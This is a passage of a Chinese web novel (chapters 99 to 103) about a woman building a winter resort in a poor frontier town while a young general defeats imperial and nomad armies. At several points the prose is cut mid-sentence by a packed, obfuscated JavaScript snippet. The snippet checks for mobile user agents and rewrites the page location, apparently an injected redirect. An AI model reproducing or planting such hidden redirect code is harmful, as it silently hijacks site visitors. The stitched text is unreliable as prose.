35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231631|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >总之，十二堡现今，无甚危险，但同时也穷得稳定。 农夫们面有菜色，身上套的粗布衣衫，补丁摞着补丁。足蹬破旧草鞋，除去种地以外再无进项。 县衙倒是重整了一番，原县令已裁撤，由樾王殿下的人接管。 “先生，要让新县令遣人助我等吗？” 秋风吹得凉意透骨，三两名书生换上深蓝色的夹袄，外搭一件半旧大氅。 他们跟在桂枝儿身后脚步匆匆，打量着陌生的环境。 樾王殿下兴科举固然有吸引力，但也有笃古之家不愿子女趟这趟浑水。 大局未定的情况下，公然反叛朝廷亦有风险。 于是他们选择折中之举，跟随桂枝儿开辟新领域。 “不必麻烦官府了。”桂枝儿摇摇头。 樾王殿下嘴上说的好听，若需调派人手、支用银钱，尽可吩咐管家。 可那富安公公岂是好相与的？ 尤其在桂枝儿是个犟种的情况下。 面对上位者，保持不卑不亢是一种奢望——不卑便是亢。 秋日正是农忙时节，百姓们在广袤却贫瘠的黑土地中收割完麦穗，粗糙的双手已经布满裂口。 接下来还要储秋菜、制冬衣，闲暇时间并不多。 桂枝儿在县城菜市口立了招工的牌子，只收拢来十几号人。 “小娘子，您说这儿活计能一直干到冬天，是真事儿不？” 大娘的衣角微微卷起，面料被磨得毛糙。 她双手布满老茧，关节粗大变形，眼睛浑浊却透着温和，问话时有些小心翼翼。 “是真的，大娘。”桂枝儿目光真挚，微笑着回应，“日结工钱，包两餐。” 修建雪场、浴场的重体力劳动者，每日可得八个铜板，习练搓澡、帮厨之事者，则得六个铜板。 重金之下，围观者蠢蠢欲动。 “那俺们就，先开始干活儿？”大娘操着一口浓重的乡音，说话时眼神诚恳。 到底是憨厚朴实的农民，整日里劳作惯了，这份勤快着实让人打心底里赞叹。 桂枝儿眼眸瞬间亮了起来。 “当然是，先吃饭！” 99. 铁锅大鹅 人是铁，饭是钢。 填饱了肚子才有力气干活儿。 两名小学徒背着的铁锅巨大无比，锅沿几乎快顶到他们的脑袋。 他们搬运石块，搭起一个能支撑铁锅的灶台。 太阳逐渐升起来，秋风拂过，裹挟着成熟庄稼与落叶交织的独特气息。 “主家仁善，没准会给咱喝高粱粥嘞。” 老者头戴破毡帽，帽檐下露出一张饱经沧桑的脸。他吧唧了一下干裂的嘴唇，额头皱纹纵横。 “菜汤和黑窝头也不错！”大娘有些期待地搓着衣角。 只要工钱按日结，她明儿个定劝左邻右舍一起来干，索性地里剩余没掰的玉米棒子也不多。 能攒一笔钱过冬，心里总是熨帖着的。 小女孩手起刀落，全神贯注地将鹅肉切成均匀块状。 她那扎起的马尾辫俏皮地晃动着，圆圆的脸蛋被山野的风吹得红扑扑的。 胡萝卜、榛蘑被洗得干干净净，泡在水中的粉条晶莹剔透。 豆芽菜男孩蹲在地上生火。 落叶在秋天已然干透，一点就着。他随手用衣袖抹去脸上烟尘，娴熟地往火里添柴。 “火旺起来，这大鹅炖出来才够味儿。”桂枝儿点头赞许。 招来的短工们看到这架势，纷纷傻了眼。 柴火噼里啪啦地燃烧着，铁锅架在灶台上被烧得滚烫。 “刺啦”一声，鹅肉在热油的包裹下迅速变色，两名小学徒手持锅铲，交替翻炒，依次下入盐、八角、桂皮等调料。 浓郁的香味开始飘散。 众人的肚子不免咕噜叫，强忍着把口水咽下去。 “大家都听着，现将你们分为数组，各予职责，且行上岗试训。”带队的书生招呼道。 他们制定了相应的规章制度，以防有人偷懒耍滑。 看在铁锅炖大鹅的面子上，短工们均老老实实地听从，生怕惹主家不开心错过这顿美食。 唯一的问题就是，书生们偶尔会蹦出来一些文绉绉的词儿，叫人听不懂。 每当众人挠头的时候，桂小娘子便会笑盈盈地加以解释。 经过简单培训后，灶台上的餐食也已出锅。 揭开盖，一股热气带着醇厚的香味扑面而来，马尾辫女孩用筷子轻戳鹅肉，而后满意地笑了。 “熟啦！开饭喽！” 大鹅块被炖得色泽红亮，吸饱了浓郁汤汁，肉的纹理间都充斥着鲜香。 众人排队打饭，虽只得一勺菜，但均已迫不及待。 吃上一口，胡萝卜被炖得绵软，粉条紧紧缠绕着鹅肉，鲜嫩又不失嚼劲。 炖煮多时的香料味道丝丝入扣，从舌尖蔓延至咽喉，短工们忍不住满足地眯起眼睛。 头戴破毡帽的老者将碗中米饭和汤汁一口气扒拉干净，然后用手背抹了抹嘴，长舒一口气。 “真舒坦呐，平时过年才能吃上这硬菜！”他感叹道。 其他短工纷纷点头附和。 就冲这伙食，他们也要甩开膀子猛猛干活儿。 曾被马碌占有独享的十二堡芙蓉汤，位置在山崖边，别院荒芜已久，需用心打理并扩建。 搬运重物时，男女老少齐上阵，大家紧握粗壮的绳子，在泥土路上拖动板车。 “一二，一二”口号声在空旷的天地间回荡。 人心齐，泰山移。 大梁的百姓多么温顺，只要给口吃的，他们就愿意卖命。 即便如此，仍有朝廷统治者不断搜刮民脂民膏，从不肯俯下身来倾听民意。 “先生您说，百姓们知道，战火已蔓延至东鲁?边境吗？”书生深吸一口气，攥紧了拳头。 他心有犹豫，不确定自己此时躲在大后方是否乃正确抉择。 听闻同窗们参与樾王殿下兴办的科举，无分男女，唯才是举，大多已成功入仕。 如王蒲，因策论成绩优异被任命为纳言，负责协助小谢公子审议和决策政务。 其余诸生，有的参与听讼断狱，有的着手编户齐民…… “贤生的消息落后了。”桂枝儿拍了拍他的肩膀，“现下可不仅东鲁在打仗！” 杭京朝廷一方面调兵镇压北境反贼，一方面抵御岭南倭寇大举进犯。 全国各地已乱成一锅粥。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239647|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “居庙堂之高，辅政者，贤吏也；处江湖之远，济民者，善士也。” 桂枝儿的目光扫过众人，温和而深邃。 古代封建王朝，两三百年间必有一次天下大乱。 由于交通不发达，消息传播速度有限，大部分百姓在仗没打到家门口前，并不知晓灾难降临。 蟪蛄不知春秋，如是也。 “若你们没有封侯拜相的决心或是胆量。”桂枝儿停顿片刻，继续说，“能切实为个别百姓解决难题，亦为有义之事。” 用她家乡的话来说，就叫—— 官职有高低，服务无大小。 几名书生原本皱着的眉头舒展开来，眼中困惑逐渐被明亮所取代。 他们情不自禁地微微欠身，双手抱拳，感激桂枝儿指教。 脸上满是谦逊与诚恳。 继而更加卖力地带领短工们修筑雪场。 “奴家晓得樾王殿下为何不肯放人了，小娘子不做女官，着实可惜。”柳千金打趣道。 她双眸含情似秋水，只在深处藏着一抹愁绪。 自从桂枝儿与她转述，京城西市卖果蔬的中年伉俪之事，她心中便一直记挂。 或许当年，爹娘真的侥幸还活着？ 她多番打探，康顺年间春汛，下令开闸泄洪淹了清野州城的那狗官，后来确实又说动圣上，在灾区施医施药、义仓赈济。 其人究竟是酷吏，抑或良臣？她看不懂。 “姐姐快别取笑我了。”桂枝儿扶额，“旁的你也不必太过忧心。” “待十二堡的雪场开始盈利，向樾王殿下求个恩典，寻你爹娘下落不是难事。” 如此乱世，要想找人光靠自己可做不到。 桂枝儿请柳千金和姐妹银铃赴十二堡，并非养闲人。 而是另有考量。 芙蓉汤泉场地有限，在此招待来客仅占个风雅的名头。 总不能真让贵人们如下饺子般，一个个裸露着跳进温泉池里，成何体统？ 所以，只能在搓澡手艺上下功夫。 “训教澡工之事，全仰仗两位姐姐了。”桂枝儿狡黠一笑。 100. 搓澡技艺 近日来，十二堡从县城至乡村，穷苦百姓们皆知菜市口那块招工的牌子是个宝。 “俺不是吹，不过年不过节，你能吃上排骨炖豆角么？” “那豆角烀得稀烂，排骨嫩得一咬直飙汁儿，全是肉香味儿，就这一小勺菜给俺香蒙圈了！” “还有那萝卜羊杂汤……” 短工们吧唧吧唧嘴，天还未亮就在在招工牌子前排起了长队。 活计是累了点，但他们庄稼人有的是力气。 尤其每日收工后，听着手里清脆的铜板撞击声，人人幸福感拉满。 “不就是做苦役，将来惹主家生气了，早晚拿鞭子抽你们。”有那偷懒耍滑被踢出队伍的人，酸溜溜地说道。 “哼，嫉妒了吧。”头戴破毡帽的老者胸脯挺得高高的，“主家教俺们学技艺，等入冬下雪了照样能赚钱。” 眼红之徒顿时无话可说。 听说这门技艺便是搓澡，只不过用来招待贵客罢了。 搓澡谁不会啊！有什么可学的？ 不就是用布缠着手，把身上泛起的一层薄泥垢搓落。 暗怀妒意之人虽嘴上不认输，但心底却怂了。 原来北境穷苦，在家洗个热水澡要费大量木柴，居于城镇的富裕人家不在乎，他们村里人还是舍不得的。 搓澡的经验自然不够丰富。 因此，当桂枝儿委派柳千金指教短工们学习时，无分男女，俱倾耳恭听。 “先请贵客卧于皮榻。” “既而，涤其前、后、左右之侧。” “诸面各有要处，搓澡手法各异，兼以按穴，使贵客身心皆舒为佳。” 短工们一边认真记，一边频频点头。 看，贵人就是不一样，连搓澡都搓四个面儿。 柳千金自幼唱戏习刀马旦，有着粗浅的童子功，桂枝儿教她人体穴位与按摩技法时一点就透。 至于银铃擅调香，便专司沐汤之品调制事宜。 “以牛乳搓洗后，冲净薄垢，再将梅花花瓣撒入香汤。”银铃音色清冽，“切黄瓜为片，敷于面。” 她伸出葱白般的手指，依次划过以上物品。 这对短工们来说，有些难以理解。 莫说牛乳是滋补的珍贵饮品，居然用来搓澡。那黄瓜，若非有陶土温室可以种植，在冬天也是稀罕物。 这么做，不是糟蹋粮食吗？ 不等众人质疑，银铃轻启朱唇。 “如此一套技法操作，共计十两白银，需叫贵客知晓。” 多少？十两白银！ 短工们双眼圆睁，嘴巴不受控制地咧开，张得几乎能塞进去一颗鹅蛋。 淳朴的面容上满是惊愕，眼神里写满了不敢置信。 尤其当他们听到银铃说，每服侍一名贵客，亦能获佣钱若干时，众人更是激动不已。 “这哪里是贵客，这是财神爷啊！”大娘搓了搓布满老茧的双手，心头火热。 只要银钱速至人无怠，万里长城一天盖。 此时霜降既过，北境早已呈现出寒风落叶的初冬景象，雪场与浴场俱已落定。 桂枝儿等人筛选出本分老实的短工，转为正式雇工。 众人皆受礼规之统训，服制如一，即刻便可上任。 而与十二堡一派欣欣向荣的祥和气象不同，前线烽火不断，大地在无数军士沉重的脚步下颤抖。 四周弥漫着令人紧张的肃杀之气。 “哗啦啦。”绣着冰原狼图腾的军旗在狂风中烈烈作响。 荒漠雕鸮在空中盘旋。 它面盘呈淡棕黄色，夹杂褐色细斑，展开翅膀俯瞰着两军对垒。 北境阵营。 帐帘被猛地掀起，一阵寒风裹挟着一个身影冲了进来。 “将军，对面已经接到第六道诏书了。伪帝命指挥使即刻起兵讨伐逆贼，不得有误！” 探子浑身沾满霜雪，发丝凌乱，单膝跪地，声音因急切而微微发颤。 “知道了。”栾霜柏挥挥手。 在杭京朝廷眼中，边防北境军实乃一群破破烂烂的乌合之众。粮草供应不足，军饷延迟发放是常态。 大部分军士一到冬天就犯愁，只能靠着锈迹斑斑的长枪，勉强抵御游牧劫匪。 这样的军队也敢和朝廷宣战，简直不自量力！ 殊不知，士别三日当刮目相待。 如今的边防北境军整齐划一，刀枪如林。前排重步兵，身着厚重铠甲，手持坚硬铁盾，锐利的枪尖直指敌军心脏。 后排骑兵们搭弓如满月，高大的战马个个膘肥体壮。 “君命难为，那江指挥使定不敢再拖延下去。”副将眉头紧锁，“只怕真的要开战了。” 新任指挥使调遣三万禁军，兼东鲁?一带驻军， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245041|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在作战人数上，比北境军翻了一倍都不止。 实力不可轻视。 “诸位，边军打禁军，绰绰有余！” 栾霜柏身着铠甲，身姿挺拔，目光炯炯地扫视围坐一圈的副官们。 营帐内严肃的气氛顿时活泼了不少。 “将军所言极是！”众副将哄笑。 “那帮酒囊饭袋，平日养尊处优，哪能和俺们在刀口舔血、在达奴劫匪的死人堆里爬出来的边军相比？” “对，真要较量，他们压根就不是对手！” 粗犷的军士一拍胸脯，声若洪钟，正是曾与栾霜柏轮番比武的军中屯长。 栾将军虽年幼，但武艺傍身，指挥本领更加不容小觑。 他打心眼里信服。 既而众将士你一言我一语，讨论起作战策略。 栾霜柏认真倾听，同时在脑海中不断推演着战场局势。 他面容严肃，双手稳稳放在膝盖上，五指微微收拢，没有丝毫晃动，宛如磐石一般坚定。 终了，他站起身，手握成拳重重落在桌案上。 发出“砰”的一声巨响。 “便依此行事，各营务必严守军令，协同配合。”栾霜柏一锤定音，“禁军越惧北境严寒，不敢猛攻，我等越要稳住阵脚。” 自昔迄今，兴师北伐，难若上青天。 一来路途遥远，粮草供给不便。 二来南军北上，在地势上需仰攻山地、高原，增加了行军和作战难度。 三来，面对寒冷气候，极易水土不服，拉低军士战斗力。 “待到寒冬腊月，朝廷军除了打道回府别无二法。”栾霜柏沉稳说道。 依他之见，镇北初立还需修生养息。 对付乞颜乌什部落，自当冷酷凶残，以彼之道还施彼身。 但面对大梁军士，本是同根生，能够不战而屈人之兵方为上解。 战者，非好杀也，乃致和平之术也。 “谨遵将军令！”副将们齐刷刷起身，朗声应道。 “哐哐哐。” 三声沉闷的锣响，自伙房传来，穿透层层营帐，直抵每一个将士耳中。 栾霜柏与副将们对视一眼，眸中迸发锐利锋芒。 他们默契地掀起帐帘向外走去，身姿前倾，手臂有力摆动，每一步都迈得极大，仿佛在无声竞速。 开饭了！ 101. 回马枪法 伙房内，灶上大锅里正煮着香气四溢的红烧肉。 肉块翻滚，被炖得色泽红亮，直冒油光。 浓郁的肉味混合着八角、桂皮等佐料的味道，扑鼻而来，让人垂涎欲滴。 “差不多了，出锅出锅！”腰系围裙，袖口高高挽起的大厨正指挥着炊事兵。 他一张国字脸轮廓分明，常年经烟火熏烤的皮肤透着黝黄色，厨艺早已炉火纯青。 “我说，你们将军别是忽悠我吧？”他在围裙上擦了擦手。 “帮你们北境军做几日饭，真的能为我引荐桂小娘子？” 半月前，东鲁?大军压境。 黎州城率先遭了殃，军士们的行径与那横行市井的地皮流氓无异，竟公然在街巷店铺吃喝。 领头的兵痞一脚踢开泰岳酒楼大门，强取酒食，掌柜的敢怒不敢言，干脆闭了店。 “这样强取豪夺，实非正义之师！”掌厨的陈师傅嘟囔着。 生意没得做，他索性跟掌柜的告假，偷偷摸摸往北走。木犀先生提过，他的厨艺师承北境桂小娘子。 参与过楚淮春日宴的陈师傅，对此心动不已。 “大师傅您放心，我们将军心仪桂小娘子人尽皆知。”炊事兵拍拍胸脯打包票。 想找将军夫人，来军营就对了。 机缘巧合在城门口逮住一个好厨子，可不能放跑了！ “喂，小子！赶紧给我盛饭，磨蹭啥呢！”排队等饭的老翁不耐地呵斥道。 他着一件裘皮外套，身上混合着刺鼻的马粪味与干草气息。 老翁刚喂完马，布满皱纹的脸上全是烦躁。 炊事兵赶忙赔笑，舀了一大勺红烧肉浇在饭上，浓稠的汤汁渗入米粒，将其染成诱人的酱色。 见那颤巍巍、肥瘦相间的红烧肉在碗中晃动，老翁这才面露喜色。 而后瞥一眼大厨，冷哼一声走了。 “哎？”陈师傅不明所以。 “大师傅莫在意，豆腐翁就这脾气。”炊事兵乐呵呵地解释道。 原来豆腐翁是中心府衙在编在册的看门人，可他有个癖好，非得在夜半三更磨豆腐，谋些许余财。 把樾王殿下吵得头疼。 府上管家得知豆腐翁的闺女与郎婿在凌河谋生，心生一计。 他为小夫妻荐一善职，给边防北境第一军新组建的骑兵连供应马饲料。 再晓之以情，劝豆腐翁来军中喂马。 凌河县盛产大豆，适合制豆腐。 同时，豆粕、秸秆等也是上好的马饲料。 豆腐翁嘴上虽抱怨马难伺候，但喂马当真是一把好手。 马厩旁，老翁挖了一大口饱满油润的米饭，塞进嘴里。 颗颗米粒裹挟着红烧肉的酱汁，他吃得津津有味，白色胡须沾染了酱汁也浑然不觉。 “要找桂小娘子，中心府衙旁相距不过十丈便是她的店铺。” “这笨厨子，指定是被骗喽！” 豆腐翁吧唧吧唧嘴，在心中下了结论。 甭管樾王殿下还是栾大将军，当官的没一个好东西！ 像那蔡统领，通敌叛国，自己只顾跑到野蛮草原部落里当官儿，留下一个孤寡老娘没脸见人，上吊死了。 世风日下，人心不古啊。 老翁打了个饱嗝，用粗糙的手掌摩挲着骏马光滑油亮的皮毛，眼神里满是欣慰与骄傲。 马比人好，聪慧又温顺。 两军对峙的局面终有被打破的时候。 禁军新任指挥使，顶不住朝廷压力，率先吹响了冲锋的号角。 “列阵！”他身着华丽精良的银色铠甲，大声呼喝着麾下士卒。 禁军摆出严整方阵，盾牌手在前紧密相连，严防冷箭。 而北境边军凭借与外敌作战的丰富经验，利用骑兵的机动性冲向禁军侧翼，分散游走。 战马嘶鸣，铁蹄跃起。 仅仅第一轮接触，骑兵冲锋所到之处，一片血肉横飞。 “这帮镇北泥腿子，哪里来的良驹战马？”江指挥使后背冷汗直流，惊恐地质问。 大梁重文轻武，自梁大将军抗击湘西马匪战死后，朝廷几乎没有拿得出手的武将。 他清楚自己有几斤几两，心生怯意。 “回禀指挥使，逆贼栾某大胜游牧劫匪后，缴获了不少草原马匹。”有军候答话道。 江指挥使两眼一黑，身子晃了几晃，险些从马背上栽下去。 他紧紧抓住银色头盔边缘，惶恐不安。 好你个栾霜柏，京中传闻他是少年天才，不料竟敢匿虏获之财，拥兵自重。 这仗可怎么打啊！ 军候看着指挥使怯懦逃避的模样，将未尽之言吞回腹中。 据最新情报，北境军不仅敛财，还扩军。 凌河县以张员外为首的富户乡绅们，对抗赋税改革不成，被樾王殿下用雷霆手段镇压。 府中家丁不知何故，大多也主动投军了。 这些土豪劣绅总算聪明一回，认清了形式，一咬牙捐出大笔军费支持北境军抗战。 用张员外的话来说——银子不用在军费上，难道留着当赔款吗？ 按常理，朝廷的改革举措，若得罪了世家大族，是很难持续推行下去的。 可在北境这地界儿，无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250276|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 樾王还是栾将军，都混得如鱼得水。 真是奇也怪哉！ 战场形势一边倒，江指挥使且战且退，正准备下定决心“鸣金收兵”时，风云突变。 “呜呜呜。” 一阵浑厚的牛角号声传来，适才一往无前的北境军纷纷扭头。 这声音，常年与草原游牧劫匪打交道的他们再熟悉不过了，是鼓舞士气的进军号角！ 达奴人不知何时绕到北境军身后，与朝廷军形成包夹之势，正欲趁火打劫。 “呦，终于不躲着了。”栾霜柏跨坐在如雪般的战马上，脊背挺拔如松。 铠甲在日光下熠熠生辉，少年面庞坚毅，双眸仿若寒星，嘴角勾起一抹肆意嘲讽的弧度。 “敢问是部落哪位首领前来受死？” 少年微扬下巴，视线居高临下，似在俯瞰蝼蚁。 他持红缨长枪的右手抬起，身后浩浩荡荡的军队队形骤变。 骑兵仍震慑禁军侧翼，步兵则将长枪换为刀斧，这是斩马腿的利器，气势如虹。 北境军显然早有准备。 “哼！你们这群软脚虾，一个个弱得不像话，还自个儿窝里斗，起内讧！” 达奴领军人乌什拓跋烈叫嚣道。 他拍马走上前，头盔装饰彩色羽毛，脑后拖着一条辫子。 “咱草原儿郎可瞅准这机会了，你们呐，就乖乖等死吧！”他狞笑着旋转弯刀。 身旁为二公子掠阵的，正是叛贼蔡淼。 他脸上涂抹红棕色汁液，佩戴骨链，已经活脱脱像个达奴人了。 栾霜柏不欲废话，手中长枪灵活刺出，翩若惊鸿。 枪尖幻化成数点寒芒，直刺敌将咽喉，拓跋烈忙用弯刀抵挡，只听“当”的一声，火星四溅。 蔡淼趁机挥刀砍来。 栾霜柏见状，猛地一收长枪，同时双腿一夹马腹。 白驹雪影长嘶一声，前蹄高高扬起，少年借助马匹跃起之势，在空中拧身，长枪自上而下，将空气劈裂。 “将士们，随我冲锋，杀！” 坚定的声音瞬间点燃了将士们心头热血。 步兵紧握刀斧，锁定敌军战马。 战马腿部被砍中后，前蹄跪地，将背上的达奴骑手甩落。一时间，敌军阵脚大乱。 而乌什拓跋烈所冀望的南北夹击战况并未出现。 东鲁观战的江指挥使，虽乏才略，然具慧眼。 “回马枪啊！逆贼栾某使的招式是回马枪！”他被吓得扭头就跑，屁滚尿流。 临危回马枪似电，转身一刺凌九霄。 那可是梁大将军的祖传绝技！ 102. 长洛富商 达奴军最终狼狈退场。 栾霜柏一式猛虎下山，枪尖裹挟着呼呼风声刺向拓跋烈，后者躲闪不急，慌乱中下意识将身旁的蔡淼往前一推。 锋利的红缨长枪直直刺入蔡淼胸膛。 蔡淼闷哼一声，从马上坠落。 “二公子救我……”他双手紧握枪杆，试图阻拦长枪贯穿身体，可鲜血还是从他的指缝间汩汩涌出，洇红了身下泥土。 拓跋烈连看都没有多看一眼受伤的蔡淼，掉转马头，大喊着：“撤退，儿郎们速速撤退！” 朝廷禁军不肯入局，他们再打下去也不是北境军的对手。 理当及时止损。 游牧劫匪们听到命令，转头策马狂奔。 锋利的弯刀入鞘，别在宽大牛皮腰带上，头盔上插着的羽毛，也散落一地。 蔡淼躺在地上，望着远去的达奴骑兵，眼中满是难以置信。 栾霜柏勒住缰绳，冷漠地看荒漠雕鸮停落在蔡淼身旁。 猛禽闻到血腥味，用尖锐的利爪试探，想要叼一口鲜肉尝尝，钩曲的喙跃跃欲试。 “栾将军，咳咳……吾知罪，罪该万死。”蔡淼嘴唇微微颤抖，吐出一口鲜血。 生死关头，他明白达奴人许诺的高官厚禄俱成泡影。 “只要饶我这条贱命，必将达奴人的兵力部署、粮草囤处告知将军……绝不敢再背叛，求、求您……” 栾霜柏不为所动。 既尝到了背叛的甜头，其心难测，再叛乃必然之势，断不可信。 他只是微不可闻地叹了口气。 “你可知，令堂不堪流言，早已悬梁自缢？”栾霜柏问道。 蔡淼并未答话，双眸蒙上了一层厚厚的阴霾。 对于蔡母，他心中积怨已久。 蔡大娘一介寡妇，生活含辛茹苦，不免对儿子寄予厚望。 “要听娘的话，要长身体，要出人头地。” 她把儿子坚决不肯吃的皮蛋剁碎了拌进饺子馅，肉糜夹杂着深褐色，逼他一口口咽下去。 “找个良家女，结一门好姻亲，娘是为你好！” 后来，她又在城门口大吵大闹，让进出的百姓看足了笑话。 蔡淼咬牙，凭什么？ 只因一个“孝”字高悬头顶，终其生，事无巨细，皆不得自决乎？ 他不甘心！ 现下虽成为俘虏，但他还有翻身的机会。 他可以帮北境军攻打乞颜乌什部落，他知道草原帐篷的驻扎位置，知道外围警戒的放哨规律，还知道那些栅栏、壕沟的分布—— 只要他不死！ “此时此刻，蔡统领曾经带的第三军，恐怕已经越过梅山，攻破达奴人老巢了。” 似乎知道他在想什么，栾霜柏轻描淡写地说道。 “不可能！”蔡淼胸膛剧烈起伏，一阵剧痛袭来。 他竭力想要反驳，喉咙里发出嘶哑的低吼声，眼底绝望如潮水般翻涌。 岂有不可？ 楚淮的船把头，本是从禁军中选拔出的头目。 天宥年间，有朝臣上奏开凿运河一事，老皇帝便暗中钦点他去收拢江湖人手，提前布局。 还有那东鲁府花山岗的大当家，双板斧黑风煞战功赫赫，早已接手第三军。 他二人供樾王驱策，联手讨伐粗鄙的蛮人并非难事。 “樾王、樾王……”蔡淼眼神逐渐涣散。 他不信樾王胆敢不顾自身安危，把身边的军士全派出去。 “太子殿下面对岭南倭寇时，也曾率兵亲征，举起陌刀上阵杀敌。”栾霜柏神色闲适，眸中却透着一股锐利。 没有这等魄力，怎配当天下之主。 蔡淼想要说些什么，却只能发出微弱、断续的气息声，手无力地垂落在身旁。 他终究在这片冰冷的战场上，孤独地走向死亡。 秋风在沙场呼啸，长枪上的红缨随风飘动。 少年将军剑眉星目，挺直了脊梁。 “呼”的一声哨响，荒漠雕鸮贴地飞行，回到主人身侧。 那女子身着镶嵌毛领棕色皮衣，骑在高头大马上英姿飒爽，正饶有趣味地看着栾霜柏。 “小将军，你敬慕的樾王殿下，何时付我银票？” 龙沙镇的县令召唤回她训的鹰。 荒漠雕鸮在战场盘旋，监视各方行军动态，让指挥变得游刃有余。 龙沙镇穷苦，县令同意站队，只想与樾王分一杯羹。 “咳，银票……大概桂姑娘正赚着呢！” 冬初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255935|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，十二堡下了第一场厚雪。 雪花如柳絮般轻盈飘落，渐渐汇聚成雪幕，纷纷扬扬地洒向小镇每一个角落。 新修建的栖闲别院，顶端很快就被白雪覆盖，像是戴上了一顶顶松软的白帽子。 烟囱里冒出袅袅炊烟，是热气腾腾的串串香的味道。 在长洛做丝绸生意的富商沈老爷，携爱妻锦棠夫人踏入别院。 两人刚从雪场玩乐归来。 涉足北境之前，他们只知此地穷困潦倒。 虽然国土面积占了大梁将近四分之一，但每年有一半的时间被冰雪覆盖。 百姓们辛苦劳作，却因气候恶劣、土地产出微薄，收获的粮食难以果腹。 “沈老爷若信我，只管去北境看看，保准有惊喜。”常年为绸缎铺送茶叶的行商信誓旦旦。 因北境近来无匪患之忧，他与同伴前去收雪山药材。 才发现此处面貌焕然一新。 “老爷，听闻北境之地，雪大如席，妾着实心向往之。”锦棠夫人撒娇道，“妾居长洛繁华之地，尚未见识过那般壮观雪景。” 她亲昵地拉着沈老爷的衣袖，轻轻摇晃。 沈老爷当即就应下了。 自朝廷发行“承朔宝钞”以来，南边的生意越来越难做。 面对官府的苛捐杂税、暴敛无度，沈老爷愁得多了几根白发，早就在琢磨退路了。 他以谈买卖为名，办了去东鲁府的路引。 再经中间人几番操作，在莱城的春和景明客栈，会见了专门负责接待来客的少卿。 少卿年纪不大，是樾王殿下通过科举新招揽的才俊。 “沈老爷若有意于我北境营商，不妨先至十二堡盘桓数日，详加考察，而后再作定夺。” 少卿亲自为沈老爷斟茶，热情得很。 沈老爷不曾见过如此和气的官员，当下好感倍增。 只是，北境冰天雪地，有什么值得逛的？ 他与夫人皆裹着一件极为厚实的紫貂皮大氅，顶戴宝石毡帽，双手藏在狐皮手笼里。 即便如此，还是时不时地缩缩脖子，嘴里呼出的白气飘散在冷空中。 等到了十二堡，不会连口热乎饭都吃不上吧？ 沈老爷心里直犯嘀咕。 103. 节气馄饨 马车行至十二堡，入目皆是银白色。 远处的山峦被雪勾勒出柔光，与新建的栖闲别院相依相伴，构成一幅静谧绝美的冬日画卷。 道旁树枝披上了晶莹剔透的雪衣，微微弯曲，在风中摇曳，抖落簌簌雪粉。 “天地一白，琼枝玉树，甚美！” 锦棠夫人伸出戴着翡翠护甲的手，轻轻掀开车帘。 她见惯了名都大邑的繁华，头一次目睹小镇落雪，顿觉新奇。 当地百姓绝对想不到，他们习以为常的景象，能让贵客们为之赞叹。 放下行李修整后，夫妇二人被侍者引入雪场。 “贵客请先用膳。” 侍者端来一碗平平无奇的彩色馄饨。 沈老爷并未在意。 在富裕的长洛一带，彩色馄饨不算罕见。 应当是将冬苋菜、紫甘蓝等不同颜色的应季蔬菜榨成汁，与面粉混合制成的。 他乐呵呵地抿了一口汤。 入口鲜美清甜，汤中还点缀着嫩绿的葱花、紫菜，无功无过吧。 沈老爷吧唧着嘴在内心评价道。 镇北终究物资匮乏，没必要抱太大期待。 紧接着，他夹起一个馄饨，轻轻吹了吹热气，小心翼翼地送入口中。馄饨皮在齿间破开，他眼前一亮。 韭菜的清香裹挟着鸡蛋的醇厚，在口腔中迸发。 